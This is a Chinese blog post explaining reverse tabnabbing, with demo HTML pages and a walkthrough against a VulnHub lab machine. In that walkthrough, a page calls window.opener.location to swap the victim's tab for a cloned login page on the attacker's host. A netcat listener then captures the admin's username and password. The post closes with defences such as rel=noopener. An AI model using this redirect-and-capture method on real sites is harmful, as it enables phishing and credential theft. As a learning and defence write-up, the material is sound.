浅谈对tabnabbing漏洞的理解和利用

最近在打vulnhub上的靶机的时候卡在了某个点,后来我去网上搜索相关攻略,发现了一个叫reverse tabnabbing的漏洞,由于我之前并没有学习过这个漏洞,所以写了这篇文章来记录一下对这个漏洞的学习成果。

漏洞原理和介绍

tabnabbing是一种钓鱼攻击漏洞,网上将该漏洞翻译为反向标签劫持攻击,大致原理就是黑客通过某种方法在页面A中植入一个a标签,也就是一个超链接,链接的指向是黑客精心准备的页面B,页面B的内容有一个javascript代码,内容就是window.opener.location=“C页面的链接”,这句话的意思是如果用户点击了该链接,那么window.opener这个对象就是原链接也就是A页面的window对象,这样原页面就跳转到了C页面,而C页面也是黑客准备的与A页面非常相似的钓鱼页面,并且此时用户并没有发现A页面已经变成了C页面,于是用户继续在C页面浏览或登录等一些操作,导致了信息的泄露。

漏洞产生的原因和条件

该漏洞产生的条件有
1.该页面存在xss漏洞,能够执行用户输入的js脚本
2.用户能够使用a标签,且target=_blank,没有使用rel=noopener/noreferrer属性
对于rel的介绍,可以看看这篇教学:rel介绍

漏洞的演示

首先是A页面(正常页面)

<html>
<title>A页面</title>
 <body>
  <li><a href="http://localhost/b.html" rel="opener" target="_blank" >点击进入B页面</a></li>
  <button onclick="window.open('http://localhost/b.html')">点击进入B页面</button>
 </body>
</html>

然后是B页面(黑客准备的跳转页面)

<html>
<title>B页面</title>
 <body>
  <script>
   if (window.opener) {
      window.opener.location = "http://localhost/c.html";
   }else{alert("跳转失败");}
  </script>
 </body>
</html>

最后是C页面(钓鱼页面)

<!DOCTYPE html>
<html>
<head>
    <title>C页面</title>
</head>
<body>
<li><a href="http://localhost/b.html" rel="opener" target="_blank">点击进入B页面</a></li>
  <button onclick="window.open('http://localhost/b.html')">点击进入B页面</button>
</body>
</html>

用户进入A页面后
A页面展示
点击其中一个链接(这两个链接都能实现同样的效果)
B页面和C页面
可以注意到点击之后弹出了B页面,并且原来的A页面跳转到了C页面
C页面
C页面的设计和A页面一模一样,这样能够很大程度上欺骗用户,中了黑客的套。

相关漏洞的实战

在漏洞实战这里,我选择的是vulnhub网站提供的一个靶机,靶机地址.
这里我省略了信息搜集等其他步骤,直奔主题吧。
大致内容就是目标服务器开放了80和22端口,打开目标网站后注册一个用户并登录
该网站的内容
该网站的内容就是用户提交一个链接,管理员会对这个链接进行检查,并将该链接公布出来。
例如这里先提交百度的链接
在这里插入图片描述
在这里插入图片描述
点击Here后就会跳到https://www.baidu.com这个网页。再看看源代码
在这里插入图片描述
从源代码不难看出,这里就存在reverse tapnabbing攻击,所以对于这个靶机的思路是这样的,我们首先在本地编写好之前所说的B页面和C页面,然后在这个页面中提交B页面的地址,后面管理员会对B页面进行检查,也就是点击B页面,从而达到钓鱼攻击的目的。

这里我现在kali中创建好B页面和C页面。
B页面的代码(.158是本机kali的地址,跳转到.158的1234端口上)

<html>
<title>B页面</title>
 <body>
  <script>
   if (window.opener) {
      window.opener.location = "http://192.168.157.158:1234/c.html";
   }else{alert("跳转失败");}
  </script>
 </body>
</html>

C页面的代码就和原先靶机网站的登录界面的代码一样(复制粘贴或者wget下来都可以)
然后我们打开kali的80端口并提供web服务,打开1234端口并监听

python -m http.server 80
nc -lvvp 1234

然后在靶机中提交http://192.168.157.158/b.html
在这里插入图片描述
提交完成之后就等待管理员的检查了。
在这里插入图片描述
等待一段时间后发现管理员传了用户名和密码过来
在这里插入图片描述
这样整个漏洞利用就成功了。至于对该靶机剩下的内容不是本文章要讨论的范围,这里就不继续说了。

如何防御tabnabbing

在a标签中的rel设置noopener
手动设置opener api

var otherWindow = window.open();
otherWindow.opener = null;
otherWindow.location = url;

以上就是我对tabnabbing漏洞的理解,目前chrome(kali的firefox下貌似也一样)下,a标签的rel属性默认值就是noopener,对于漏洞的测试还需要自己手动修改rel属性。如果以上有错误的地方,还请各位大佬多多指点。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值